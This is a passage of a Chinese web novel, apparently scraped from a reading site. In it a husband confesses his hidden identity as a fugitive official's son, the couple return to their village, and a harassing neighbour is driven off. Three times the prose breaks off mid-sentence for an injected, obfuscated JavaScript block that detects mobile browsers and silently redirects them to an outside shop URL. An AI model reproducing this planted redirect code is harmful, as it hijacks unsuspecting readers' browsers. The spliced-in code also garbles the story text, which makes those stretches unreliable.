“我们怎么帮你。”赵母还是心软了。 “不用做什么,只当什么都没发生过,别赶我出门就是了,剩下的我自己会解决。” * 转眼间两天过去,胡家并没有报官,但据说要分家了。 这让许见秋感到安心。 只要胡家不报官,祁胜就不会有事。 过了晌午高峰期,食馆没什么人了,许见秋做完自己的事,便回到后院纳鞋底。 他已经给祁胜做好了一套衣裳,打算等回到无穷村再拿出来,给对方一个惊喜。 鞋子也得抓紧做,给祁胜做两双,再给爹娘各做一双,自己也得有一双新的过年。 想着以后的事,他心里渐渐充盈,干活一点也不觉得辛苦。 小黑不知何时跑到了他脚边,围着他的鞋子转圈,还会咬一下他的裤腿。 最近这十几天,小黑吃胖了些,看着不再可怜巴巴的了,更多的是萌态。 猫到处跑,许见秋嫌它脏,轻轻把它推到一边:“一边玩去。” 小黑听不懂人话,不过会“观色”,经过它的观察,它觉得自己还可以继续撒娇,于是立即又跑回原地。 许见秋赶了好几次,直到做出凶狠的表情,小黑才委屈巴巴地去找大胖了。 许见秋喝了杯茶,调整了一下顶针位置,继续做鞋子。 “秋哥儿?” 忽然听见赵春儿的声音,许见秋下意识抬头,果然看见赵春儿推开后院的门进来。 “春哥儿。”许见秋喊了一声,心绪比他想象中要平静。 大约是因为他现在过得好,而且胡天楠和赵春儿都各自有了报应,所以才能平静。 赵春儿走到他面前,挤出一个讨好的笑:“在做鞋子啊,是给姑父做的吗。” “给我相公做的,你找我有什么事。”他问。 “还是为那个人的事,上次你们找我要了银子。”怕有人进来,赵春儿声音压得很低,“你们答应过我,会想办法让胡天楠娶我的,可是现在……” 他父母没有本事,他也没有,在家待了两天,今天上午他试着去找胡天楠,却被告知胡二少爷从山上回来后就没出过门,且谁也不见。 他不想坐以待毙,所以就来找许见秋了。 21. 过往 听明缘由,许见秋想了想道:“他受了重伤,自然会在家休息,再过几日应当就能见到人了。” “见到人之后呢。”赵春儿追问,“你们要怎么做才能让他心甘情愿娶我。” “我们正在想办法,当时也说过了,并不能保证成功。” “可是……”赵春儿急了,却不敢得罪许见秋,只能装可怜,“可是我的肚子等不了。” 许见秋一点也不同情:“你当日做事不计后果,这是你应有的报应。” “你落水,被退亲,难道也是报应吗?”赵春儿说,“明明是汉子在其中使坏,秋哥儿,你我作为哥儿,难道不该相互扶持吗。” 许见秋头脑清醒:“你莫非扶持过我?当日我落水,你难道不是帮凶?” “我已经知道错了……” “滚出去。”许见秋不想再听,打断他的话,声音微沉,“你立即离开我不发火。” 闻言,赵春儿变了脸色:“许见秋,你若是不帮我,我便上衙门状告,将山上的事说出去,死也要拉着你男人一起死。” “你大可去告。”许见秋半分不示弱,眸底划过一抹厉色,声音低却有力,“想必你还不知道吧,出去打听打听,现如今我是县太爷亲弟弟的好友,你手中半点证据都没有,你猜县太爷会信我们还是会信你。” 赵春儿当即白了脸。 “你回去等消息吧,我们若是想到法子,自然会找你。”许见秋又缓和了语气。 看着面前衣着普通却姿容明灿的哥儿,赵春儿缓缓垂下头,很是不甘心:“为何你的运气总是这么好。” 这句话音量太低,许见秋并没有听清。 等赵春儿离开后,他看了看天色,将针线篮收进房中,继而进食馆忙碌。 — 傍晚,徐景然和月哥儿进了食馆。 彼时许见秋没在大堂,等他出去时,两个人已经吃上了。 “来了怎么不跟我说一声。”许见秋扫了眼桌上的三菜一汤,笑道,“你们是第一次来,我请客,再给你们加两道小食。我们家的小食挺好吃的,每天都能卖出去不少。” “好啊。”徐景然没跟他客气,“不过这么多菜我们吃不完,你忙完就过来一起吃吧。” “行。”许见秋同样没有假客气。 因为天快黑了,食馆只剩下徐景然还有另一桌客人,许见秋很快就做完手头的事,摘下围裙洗了手,点燃油灯放在桌上,坐到徐景然对面。 “我原本想晌午来找你,后来一琢磨,晌午食馆忙碌,便专门挑了快关店的时辰来。”徐景然看了眼油灯,解释说。 许见秋笑道:“你是我的朋友,什么时候来找我都行。” “我就知道你会这么说。”徐景然也笑了笑,随后凑近许见秋,敛起笑意,压低声音,“我今日来,主要是想劝你上县衙。” “县衙?” 徐景然:“我听说胡家在分家,胡天楠很可能会卷入科举舞弊一事,他又是庶子,分不到多少财产,你若是此刻不告,日后再去状告,便得不到多少赔偿了。” 知道徐景然此番话全然是在为自己考虑,许见秋先道了谢,随后认真道:“等我相公回来,我会和他认真商量的。” “抓紧时间,最好今晚或者明天一早就去状告。” 许见秋点头。 等到晚上祁胜来找他,许见秋便把这件事说了。 “恰好明日你不用再去酒楼上工,我们去一趟县衙吧。”许见秋认真说。 他本来想着,找不到推他下河的凶手就不告状了,但听徐景然今天的意思,只要他去告了,便能拿到一笔不菲的赔偿。 他和祁胜如今正缺钱,这样好的机会不能错过。 许见秋这般想着,却发现祁胜并没有附和他的话,且神色凝重。 “你不想去吗。” “我不是不想去,而是不能去。”祁胜看向自己夫郎,眸色幽深,“秋哥儿,其实我不叫祁胜。” 许见秋一怔:“那……你叫什么。” “刘孝。”他在哥儿的手心写下两个字,“这是我原本的名字。” “后来为什么不用这两个字了。”许见秋迫切地想要知道。 祁胜道:“因为刘孝已经死了,刘孝的父亲贪污受贿,涉及金额巨大,全家被株连判斩。” 许见秋一窒:“你……” “我是怎么逃出来的对吗。”说到这一茬,祁胜眼底闪过一抹讽刺,“因为在全家抄斩之前,我就已经被杀手刺杀,扔进河里,尸骨无存了。” “杀手是我爹找的。” 一句比一句令人震惊,许见秋无法形容心里的感受,双手紧紧握住了祁胜的手。 “那些事都已经过去了,故事说出来也很简单。”祁胜语气稀松平常,仿佛在叙述旁人的故事,“我亲爹是当官的,我娘是妾室,所以我是庶子,‘孝’这个字是我娘取的,她希望我能孝顺我爹,能讨得我爹欢心。” “她没念过书,也没有见识,思想愚钝,总是认为讨好刘大人,听对方的话就能有好日子过。” “因为刘家富裕,我虽是庶子,也有极好的老师教授,能够接触到许多珍贵书籍,我在科举方面恰好有几分天赋,十二岁便考中了秀才。” 许见秋想起他问祁胜是否识字,祁胜说“认识一点,不多”。 “不过,直到如今我也没有考中举人。” “举人和秀才难度不同,你能够十二岁考中秀才,已经十分厉害了。”许见秋肯定说。 祁胜揉了揉夫郎的手指:“不是我考不中,而是我的功绩被剥夺了。” “我十二岁中案首,十四岁参加乡试,红榜上没有我的名字,我以为是自己发挥不好,后来却偶然得知,是我爹联合主母的父亲——也是当年的考官,调换了我和嫡哥的试卷。” 许见秋眸色颤动,不知该说什么才能安慰到对方,便伸手将人抱住,无声安慰。 祁胜继续道:“我跟我娘说了这件事,我娘劝我忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405058|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,听刘大人的话,下次再考,但我不想忍,于是去找他们质问。” “他们表面安慰我,说会给我补偿,背地里却想要我的命。” 听到这里,许见秋不理解了:“为什么要杀你,你死了对你爹有什么好处呢,你那么有才华,说不定可以考取状元,光耀门楣。” “你不懂,我爹的官位全依赖老丈人扶持,主母又很有手段,所以刘家其实是主母做主。为了不让换试卷的事情暴露,为了保护她的亲儿子,只有杀了我。” 原来如此。 “那杀手可能是个新手,捅了我几刀便把我扔进河里,我命硬,侥幸活了下来。” 但受伤严重,养伤养了好几个月,等再回去,刘家早已被满门抄斩。 “我当时身上一文钱都没有,又怕别人发现我的身份,便跟随难民往南走,一直走到无穷村,更换姓名定居下来。” 祁胜的语气仍然轻松:“来到无穷村后,我想着这辈子就这样了,心中失了斗志,干什么都没精神,也不想存钱,过一天是一天,很多时候想一死了之。” 许见秋呼吸一紧,手臂也收紧了,二人紧紧相贴:“不要死,你现在有我了,不能死。” “现在当然不想死,咱们俩还没洞房呢。”祁胜很不正经地笑说。 他是在故意调节气氛,然而收效微乎其微,许见秋心里堵塞得难受:“就算没有我,你也不要寻死,害你的人都遭报应了,这代表老天爷向着你,你更该好好活着才对。” “还是你聪明,我怎么没想通这个道理呢。”祁胜敲了下自己脑袋,恍悟道,“现下想来,老天爷对我确实不薄,让我过了十几年富贵日子,看了那么多书,还能再遇见你。” 许见秋不觉得自己有那么好。 他就是个普普通通的小镇哥儿,没有离奇的身世,也没有惊人的容貌,虽念过书,可跟祁胜比起来不算什么,他连写诗都不会。 不过,祁胜这么说,他心里很受用。 松开手臂,他下床点灯,又坐回床边问:“你说了这么多,和不能去县衙有什么关系,难道县令大人认识刘孝?” “猜对了,县令徐明和我拜过同一个夫子,算是我的师兄,我以前见过他很多次,也见过徐景然。” “然哥儿认识你,你怎么不早说呢。”许见秋当即担心起来,“如今我和他来往,万一他发现你怎么办。” “他只见过我两次,应当早就把我忘了。”祁胜道,“若非他脸上有疤,我也不会记得他。” 许见秋道:“可你是十二岁的案首,任谁都会对这样的天才有印象吧。” 譬如他对杨斌就记忆犹新,杨斌还是十七岁案首。 “不必担忧,记得我也没关系,他和我又没仇,不一定会检举。”祁胜握住夫郎柔软的手,“再者,你如今和他有交情,他看在你的面子上,也会睁一只眼闭一只眼的。” “我和他才认识,哪有那么深的交情。”许见秋抽出手,“你该早告诉我的。” 22. 回家 见夫郎因为担心自己而紧蹙眉头,祁胜心头一热,嗓音低哑:“对不起,我应当早点跟你坦白。” “现在也不算晚。”许见秋不怪他,“正好我们要回无穷村,回去之后我便不再和然哥儿联系。” 虽然失去了一个朋友,但能够保证祁胜的安全,不算不值得。 夫郎这么好,简直叫祁胜不知说什么好了,半晌才道:“秋哥儿,我戴罪之身,日后很有可能会连累你。” “天底下长的像的人何其多,你只是恰好和刘孝模样相似罢了。”许见秋捂住男子的嘴,“以后不要再说什么戴罪之身,你只是祁胜。” 油灯光亮不足,许见秋又背对光源,祁胜却觉得对方在发光。 心跳也错乱不已。 他一把抱住许见秋,眼眶发热:“秋秋……” 能够娶到这样的夫郎,是他几世修来的福分。 夜深露重,白日的燥热退散,此刻拥抱正好。 两个人静静的抱了一会儿,祁胜闷声道:“我不想走了。” “那就在这里睡吧。”许见秋一时间也不希望对方离开。 达成共识,夫夫二人便一同躺下。 担忧祁胜沉浸在往事当中,许见秋故意打了个哈欠,说道:“不知家里的菜怎么样了。” “应当长大了。”祁胜揣测。 许见秋失笑:“肯定会长大呀,就是不知道有没有种死的。” 他头一次种菜,心里没底,不过临走前请冯四哥帮忙照看菜地了,应当问题不大。 二人聊着家常,睡意渐渐上涌,不知何时便去会了周公。 * 次日一早 许见秋打包了两份小食,出门往一趟青云巷去。 时间很巧,他走到门口的时候,正好徐景然要出门。 “然哥儿。”许见秋快速走过去,将小食送给对方后,开门见山,“我昨晚和家里人商量了一下,决定不去衙门。” 徐景然有些意外:“为什么不去,是怕丢脸吗。” 他知道,有些哥儿脸皮很薄,明明不是自己的问题,也会胆怯不敢往前迈,生怕被人置喙。 “不是的。”许见秋拿出早已准备好的措辞,“只是觉得没必要,如今我已经与他井水不犯河水,不想再有任何牵连。” 徐景然还是不大理解,但这是秋哥儿的事,他尊重秋哥儿的决定。 “不告就不告吧。”徐景然道,“以后挣钱的机会有的是。” 说到这里,他又问道:“秋哥儿,你今天忙吗,若是不忙,我有事想同你商量。” “什么事?” 徐景然先将他请进了家里,泡了两杯茶,然后才道:“是这样的,我打算在木城县做生意,但缺乏可以信赖的人,所以想请你来帮我。” “我吗?”许见秋完全没有想到,微微睁大了眼睛。 徐景然笑道:“对,你识字,而且从小就在食馆帮忙,不会畏惧生人,最重要的是,我相信你。” “可我只在食馆干过活,什么都不会。” “哪有人生下来就什么都会的,做生意并不难,只要你愿意学,很快就能学会。”徐景然喝了口茶,“你放心,工钱方面,我绝不会亏待你,至少是你在食馆干活的五倍。” 光是冲着这份工钱,许见秋就很难不心动。 可想到祁胜的从前,许见秋还是摇头拒绝了:“徐公子,谢谢你的好意,但我只是个普通哥儿,胜任不了。” 徐景然笑容敛去,觉得有什么不对劲:“秋哥儿,难道你是嫌工钱低吗?” 他打算让许见秋做自己助手时,是很胸有成竹的,怎么也没想到对方会拒绝。 难道许见秋有比他这里更好的去处? “工钱很高,你完全可以用这份工钱找到更合适的人。”许见秋垂眼,绞尽脑汁想着不令人生疑的措词,“我真的不行,我只是个哥儿,又成了亲,说不准什么时候就会有孩子,我得照顾家里,会分身乏术。” “据我所知,你的丈夫祁胜并没有正式工作,你们家也没地,难道他就不能照顾家里吗?”徐景然蹙眉。 许见秋道:“他是能照顾家里,可他又不能怀崽,哥儿不好生养,我不想怀孕期间出意外。” 这番话忽叫徐景然不知该说什么好了,对方字字句句的透着一股自我禁锢,可他又不能叫对方别管孩子。 若怀孕期间真出了意外,受苦的还是哥儿。 “好吧。”数息之后,徐景然才平复了情绪,“你不愿意就算了,若是什么时候改了主意,再来找我。” “好。”许见秋告辞离开。 “公子,消消气。”许见秋走后,月哥儿懂事地换了一杯下火茶,“秋哥儿生在这小地方,所见所闻都是哥儿该嫁人生子,比不得您见识高,眼界难以开阔,自然不敢冒进,但他为人聪慧,说不定过段时间就能想通了。” “但愿吧。”徐景然眉头依然蹙着。 半晌后,他站起来:“我得去见见他那个相公,那男人什么都没有,怎么会哄骗得他只想着生孩子。” * 临近中午,夫夫二人采买回到许家,推开后院的门,许见秋的笑容霎时间僵在嘴角。 只见后院的石桌上摆着几杯茶,桌旁坐着三个人。 许成林,以及徐景然和月哥儿。 听见声音,三人的目光均向他们投过来。 徐景然的视线略过许见秋,停留在身边的年轻汉子身上。 个子很高,提着大部分物品,五官端正俊美,看向秋哥儿的眼神藏着说不出的情谊。 看上去并没有什么问题,只是这人的样貌…… 徐景然敛了敛眸,月哥儿则晃了晃他的肩膀:“公子……” “我不瞎。”徐景然推开月哥儿的手,豁然想通了那天在山上看见的人是谁。 许见秋下意识看了眼身边的男子,随后快步走过去:“然哥儿…你怎么来了。” “我嫂嫂给了我一筐芒果,自个儿吃不完,所以给你们送了些过来。”徐景然深吸一口气,神态恢复如常,“这位便是你的相公?” 许见秋不确定对方是否认出来了,掌心收紧,点头:“是,他叫祁胜。” 祁胜放下东西,拱手,完全像面对陌生人:“徐公子好。” 徐景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405059|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然颔首:“你好。” 随即笑道:“别的不说,你们俩外貌很相配。” 见他如此平和,许见秋心情微松,反应也自然不少,又害羞又愉悦地笑了笑。 “大中午的,知道你们食馆忙碌,我就不打扰了。”徐景然放下茶杯,又提醒说,“秋哥儿,你若是改变了主意,随时找我。” 说完,他便和月哥儿离开了。 许成林也去厨房忙碌,后院转眼间只剩下夫夫二人。 “你说他认出来了吗。”许见秋拿起地上的东西,用只有两个人听得见的声音说道。 祁胜道:“估摸着是认出来了。” 十四五岁到如今,他个子长了不少,容貌变化却不大。 “然哥儿方才没有指认你,我相信他事后也不会去县衙报官。”许见秋将东西放到不碍事的墙边,回头看向年轻汉子,阳光落在他眸底,“阿胜,你安全了。” 祁胜倒没那么信任徐景然,不过,他相信许见秋的判断。 “嗯,我安全了。” — 傍晚,夫夫二人回到了无穷村。 他们这次还是花钱搭乘驴车回来的。 许见秋先看了小菜园:菜被四哥儿照顾得很好,全都在顺利生长,没有枯萎的。 随后,他打开木门,不出意外的,屋里的床、桌椅上面都落了薄薄的一层灰。 幸好床上的被褥什么的都被他收进柜子里了。 祁胜慢一步进来,把手里提着的东西放在门边,见状道:“我去挑水。” 许见秋点头:“我先把家里扫一遍。” 两人各忙各的,挑水、扫地、擦桌子…… 等到把家里彻底打扫整理一遍,天也黑得差不多了。 “时间过得真快。”许见秋将麻布拧干搭在竹竿上,“幸好咱们回来之前吃了饭,这会儿不用做饭。” 又说:“明儿就去找泥瓦匠吧,先把新房子和院墙砌起来。” 下午他才细细算过账:从赵春儿那里要了十两,只花了一两,加上他自己所剩的十二两三钱四十五文,以及祁胜这些天的工钱三百文,共有二十一两六钱四十五。 如今必须的粮食、棉花、布匹都买了,六钱多留着散用就够,二十一两整钱,足够盖两间差不多的房子,砌个土院墙。 “还得找木匠打个新床。”祁胜补充。 如今的床大小够睡两个人,但是太破旧了,翻个身都吱呀作响。 “是得要新床。”许见秋记下。 看着哥儿垂眸认真思虑未来的模样,祁胜手心发痒,抬手捏住了哥儿一侧的脸颊。 “……?”许见秋无辜又疑惑地看着他。 祁胜手指松开,但并未从哥儿脸上移开。 他低头亲了下夫郎的唇。 许见秋瞬间脸红了,这还是在屋外,怎么就亲他了,虽然周遭并没有人。 下一刻,他被祁胜抱了起来。 是抱小孩的那种姿势,一只手臂揽住他的腰,另一只则垫在大腿根。 突如其来的双脚离地让他有点慌,下意识抱住了祁胜的脖子:“你……干什么呀。” 23. 傻瓜 “你猜。”祁胜故意哑着嗓子,吓唬哥儿。 许见秋果然被吓到,心思不知飘到了哪里,呼吸都重了起来:“……猜不到。” “猜不到就继续猜。”祁胜跨过门槛,两步走到床前,将人放在床上。 屋外暗,屋内更暗,许见秋看不见汉子的神情,心情七上八下。 在许家的十几天,两人抱过亲过,但也只是亲过抱过,未敢更进一步。 当时是怕被人听见,现如今回到家,不会被人听见,那对方是不是想…… 许见秋还是害怕那种事,但经过这么多天和祁胜的相处,害怕的同时,也隐隐有期待。 若是祁胜想,他……就同意了。 他们是成了亲的夫夫,早该有这么一遭的。 “猜到了吗。”祁胜又在他耳边问。 许见秋抿唇,声若蚊呐:“要先洗澡。” 他中午在食馆帮忙时出了汗,怕有味道,也嫌对方脏。 ——母亲特意叮嘱过他,若是行房,一定要盯着男人洗干净了,否则生了病,受苦的是他。 “做什么要先洗澡?” 许见秋脸颊滚烫,踹了汉子一脚——没怎么用力。 祁胜忍笑,将人按倒在床上,木床发出吱呀。 他没想做那种事,只是心痒,想抱一会儿夫郎而已,但这会儿觉得欺负夫郎好玩,就想多欺负一下。 “怕吗。”两人鼻息交织,许见秋胸腔鼓噪,摇了摇头。 意识到祁胜看不见,他又出声回应:“不怕你。” “不洗澡也不怕?” “不洗澡不行。”许见秋声音小,但字字清晰。 祁胜又忍不住想笑:“嫌我身上脏?” 不等许见秋回答,他就握住哥儿的手,放在自己领口处:“我身上不脏,不信你摸。” “我不摸。”许见秋抽回手,像是被烫到了似的。 “果然是嫌我脏,碰一下都不愿意。”祁胜控诉着,找到哥儿衣带,作势要扯开,“我就不嫌弃你。” 怕他真的就要这么来,怕自己会害病,许见秋双手抵在男人胸前,惊慌推拒:“不行……” “吓你的,我不弄。”察觉到哥儿真的害怕,祁胜松开衣带,直起身,将哥儿拉起来,重新抱住哄了哄,“没想到你这么怕,以后我再不这样了。” 许见秋咬着唇,没有说话。 他头一次面对这种情况,不晓得该说什么。 祁胜以为他还在怕,又保证说:“你放心,没有你的同意,我不会对你做什么的,若你一辈子不愿意,我们便一辈子不做。” 闻言,许见秋心里有种很奇特的感觉,他形容不出来,总之,这感觉叫他想要抱紧面前的汉子。 “你说的都是真的吗。”许见秋抱紧对方。 祁胜道:“自然是真的。” “我没有不同意,只是必须要洗澡。”许见秋认真道,“要干净,否则会生病的。” 夫郎这般乖暖可爱,祁胜没忍住,又吻了对方。 幸好他当日路过,下水救了许见秋,否则许见秋被其他人救起来,就与他无缘了。 在屋里温存够了,祁胜才主动去烧水。 如今天不冷,烧一壶水就够了,烧水快,洗澡也快。 都洗干净后,躺在新铺好的床上,许见秋闭上眼,正酝酿睡意,却听祁胜问他:“今天徐景然说,你若是改变了主意,随时可以找他。” “是什么事想让你改变主意?” 许见秋睁开眼,犹豫几息,还是决定如实说:“然哥儿要做生意,想让我去他那里做事。” “做什么事,待遇如何?” “做什么我没有问,但待遇很好,工钱很高。” “抱歉,我连累你了。”祁胜侧身抱住夫郎,“若非我的缘故,你便可以去他那里做事了。” 能够跟着徐景然做事,得到信任,对于普通老百姓而言,已是极大的机遇。 许见秋回抱住男人:“我们是夫夫,谈不上连累。” “去然哥儿那里固然好,但我相信就算不去,只要我们好好干活,日子也会越来越好。” “离开我,你的生活会立刻变好。” 许见秋蹙眉:“你不要这样讲,我觉得现在也很好。” 虽然没有余钱,但祁胜对他很好,他也很喜欢祁胜,想和对方生活在一起。 “傻瓜。”祁胜声音很轻。 许见秋听见了,却佯装没听见。 他不觉得自个傻,他知道自己想要什么。 他从未想过大富大贵,只希望能够衣食丰足,能够觅得一良人,不要有大病大灾,如此足矣。 一夜安眠,次日许见秋早早醒来,却发现祁胜比他起的还早,已经将水缸挑满了,开水也烧了一壶。 “你煮饭,我去洗衣裳。”祁胜道。 许见秋点头:“好,你想吃什么?” “都行。” 对方不挑,许见秋便打算煮粥烙饼,配着从食馆带回来的腌菜吃。 他做好早饭,又过了一会儿,祁胜才带着洗好的衣裳回来。 “我刚才顺便去了一趟木匠家,问了价格,订一张槐木床和一副衣柜,连木料带工钱,一共得五两银子。”祁胜边往晾衣绳上搭衣裳边说。 闻言,许见秋有些肉疼:“这么贵,要是只订一张床呢。” “三两二钱。” “那就只要床,衣柜改日去集市看看有没有人卖旧的,或是把我家里的柜子搬过来也行。”许见秋说。 如今家里贫穷,能省则省。 祁胜没反对,不过眸色动了动。 前两年完全是赖活着,一切无所谓,甚至期待一道雷劈死他才好,对生活条件自然没有要求,如今有了许见秋,一切不同了。 不能再让许见秋跟着他吃苦,得快些赚到钱才行。 做什么才能赚钱呢? 他书画都会,写赋作诗也拿手,可他不能用这些技能赚钱,太容易暴露身份了。 依照许见秋说的在乡下收菜,是能存活下去,可想过得好,很难。 他们以后还会有孩子,还要养孩子,要挣更多的钱。 他不想让许见秋过那种一睁眼就要干活到天黑的生活。 “还不来吃饭,想什么呢。”许见秋伸手在他眼前晃了晃。 祁胜回神:“在想怎么赚钱。” 许见秋问道:“想到了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405060|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “没有。”祁胜看着脚下的土地,“挣钱太难了。” 见汉子难得一脸沮丧。许见秋失笑道:“慢慢来嘛,老人不是常说‘一口气吃不成个胖子’。” “嗯,等会儿吃完饭我就去找村长,若是顺利,明日就能盖房子,先把房子盖起来。”祁胜搓了搓脸,让自己打起精神。 盖好房子后,若还没有想到好主意,他便先去收菜,总之得动起来,挣一点是一点,不能坐吃山空。 烙饼和粥吃得快,吃完后,祁胜去村长家,许见秋就刷锅洗碗,看看菜地,在附近拾柴。 ——他不能走远,祁胜说他的衣裳好,可能会有人来偷。 这不是假话,莫说是无穷村,就是镇上也有人偷衣裳。 捡了两捆干柴后,许见秋看见了冯四哥。 冯四哥穿着带补丁的衣裳,背着背篓,似是想朝他这边来,却一直踌躇。 “四哥儿?”许见秋喊了一声。 冯四哥这才过来:“秋哥儿,你回来了。” “昨儿就回来了,你不是还看见我们了吗。”许见秋顿了顿,问,“你这是要去做什么?” 他本以为对方要去打草拾柴,离近了才发现背篓是满的。 “我……”冯四哥有点犹豫,但还是说出口了,“我想看看你是否在家,你说过回来后会开始收干野菜,这几天我晒了一些……” 冯家如今就四哥儿和爷奶三人,爷奶都很老了,因此种的地不多,秋收两三天就忙完了,三人又没有工作,剩下的时间便是想办法捕鱼、挖野菜、拾柴。 “收的。”许见秋笑道,“你自个家挖的,不论多少我这里都收。” 不论祁胜做不做收菜的生意,冯家这点食馆都能吃下,所以自然能毫不犹豫地收。 “那就好。”冯四哥肉眼可见地松了口气,卸下背篓,“这些都是我仔仔细细洗干净了才煮熟晾晒的,你检查一下。” “好。”许见秋拍干净手,“我回屋拿称。” 冯四哥背来的不算多,四斤半马齿苋,确实挺干净的,也很干燥。 许见秋当场结了四十五文钱。 拿到钱,冯四哥心中才是安定了:“我家里还有一些马齿苋,还有干木耳和地皮菜,我现在去拿过来。” “好,我都收。” 冯四哥拿起背篓往家中跑去,等他再一趟过来,正好祁胜也回来了。 “办妥了。”他手里拿着张纸,是村长出具的文书。 无穷村自家盖房不需要太多手续,有村长同意即可。 村长一般都会同意,毕竟无穷村这地方,能走的都走了,有人愿意留下来,他高兴都来不及。 许见秋接过文书大概看了一遍,便让祁胜重新收好,自己继续称重。 “你们要建房子吗。”冯四哥问。 许见秋点头:“收菜没地方放,打算再建两间房住人。” “什么时候开工?” “明天,你若是有空可以来帮忙,算工钱。”许见秋道。 冯四哥忙道:“有空的,明儿什么时辰动工?” 许见秋看向祁胜,祁胜道:“卯时一刻。” “行,我会准时来的。” 24. 李三 冯四哥走后,二人将干菜放在屋里不会受潮的位置,随后祁胜就又出门了。 这次出门是去找村里的几名泥瓦匠,以及买建筑材料。 许见秋又在附近捡了些柴,随后便在家门口缝起鞋子。 说起来,他给祁胜做的一套衣裳鞋子还没有来得及给对方。 本打算回到家就拿出来的,结果昨晚祁胜逗他,导致他忘了这件事。 “小哥儿。” 缝完一只,许见秋忽然听见有人吹口哨喊他。 他无意识蹙眉,抬头看过去,果然看见名不认识的汉子。 约摸二十出头的模样,粗衣草鞋,个子稍矮,应当是无穷村的人。 见他看过去,汉子又吹了声口哨,大步走过来,堆了满脸笑:“你是祁胜家的夫郎?” “嗯,你是谁。”许见秋心生警惕。 汉子道:“我叫李三,就住在东边,从这条路过去,看见一棵大槐树,拐弯就是。” 说着,李三色眯眯地绕着许见秋看了一圈,心里头更加荡漾,冲着哥儿撩眼色:“祁胜出去干活,你一个人在家无不无聊,要不要跟我上山玩。” “不无聊,你没事就请离开吧。”许见秋语气冷漠,掌心收紧了。 “有事有事。”李三从兜里掏出个麻纸包,又抛眼色,“我刚从镇上回来,在镇上买了个白面包子,送给你吃。” 白面稀罕,白面包子对于无穷村的人而言,更是稀罕物。 这会子临近晌午,肚里快空了,包子的诱惑力会更大。 然而看着李三垂涎的神情,许见秋一点也不想吃包子:“我不要。” “白送都不要?我又不收你钱。”李三说着,另一只手悄悄朝哥儿靠近。 许见秋防着呢,当即站起来用刚缝好的鞋子抽在李三手背上,骂了一句滚。 李三收回手,摸了摸被打疼的地方,再看一眼小哥儿生气的漂亮模样,心里竟也不怒,继续摆出笑脸:“你打我做什么,我只是看你身上有只虫子,想帮你把虫子赶走。” “再不滚我喊人了。”许见秋咬着牙,一边说着,一边攥着手里的针往李三身上扎。 缝鞋的针大,一扎一个眼,效果立竿见影,李三疼得直叫唤,连连往后倒退,跑远了才骂道:“你这哥儿真蛮横,说几句话都不行,等着吧,迟早被汉子打死!” “你这等畜生才会被人打死!”许见秋骂回去,可心头还是止不住犯恶心。 等李三跑的看不见了,许见秋将针线收起来,开始做午食。 把早上就开始泡的杂米转移到大锅中,从家里带来的小南瓜洗净切块放进去,煮南瓜饭。 炉灶烧起来后,许见秋又找了个小炉子出来,架上一口小锅,煎了两颗鸡蛋。 这就是中午全部的食物了。 如今贫穷,吃两颗蛋对于他们而言是有些奢侈的。但若是不吃好,一餐饭没有丁点油,又哪来的力气干活呢。 许见秋这般想着,把煎好的蛋盖起来,一转身差点被狸奴绊倒。 “鸡蛋不是给你吃的,人都不够吃呢。”许见秋知道小黑必定是闻到味儿了。 小黑似乎听懂了他在说什么,垂着小脑袋,默默地走了。 若狸奴非得讨要,许见秋是断不会给的,可小黑如此懂事,倒叫他有些心疼了。 狸奴天性好肉,若只有南瓜饭,确实难以下咽。 许见秋心里叹了口气,待到南瓜饭焖好后,先给小黑盛了一份,加了一点鸡蛋拌匀。 只有一点,煎蛋确实金贵,他未出嫁时也不常吃,更何况是如今了。 — 祁胜回到家时,饭菜都还热着,两人一同捧着碗吃饭。 见许见秋碗里的煎蛋缺了一角,祁胜便将自己的夹过去,跟许见秋换。 一边吃饭,祁胜一边说了各类建材的价格,计算了预计花销。 “砖瓦、泥沙、石灰今天都能送过来,明日动工,几名匠人都会自己带工具,不需要咱们提供。”祁胜继续道,“工钱三十文一天,管一顿午饭。” 他找了三个人,加上他和许见秋,还有冯四哥,一共才六人,饭不难做。 讲完自己这头的事,祁胜便问许见秋在家有没有发生什么。 “你走之后,我在门口做针线活,然后有个自称李三的人来了一趟。”许见秋没有隐瞒,“他想摸我,被我用针扎了几下,赶走了。” 祁胜脸色顿变:“他长什么样。” 许见秋描述了一遍。 确定人物,祁胜放下碗,进厨房拿起菜刀,就要往李三家走。 许见秋慌忙拦住:“别带刀!” “放心,我不杀人。”祁胜推开夫郎,声音低沉,“我只是去给他一个警告。” 许见秋攥住男人的手:“那你把刀放下。” 对上哥儿眼里的担忧,祁胜深吸一口气,将刀放回原位。 “你在家等着,我去找他算账。” 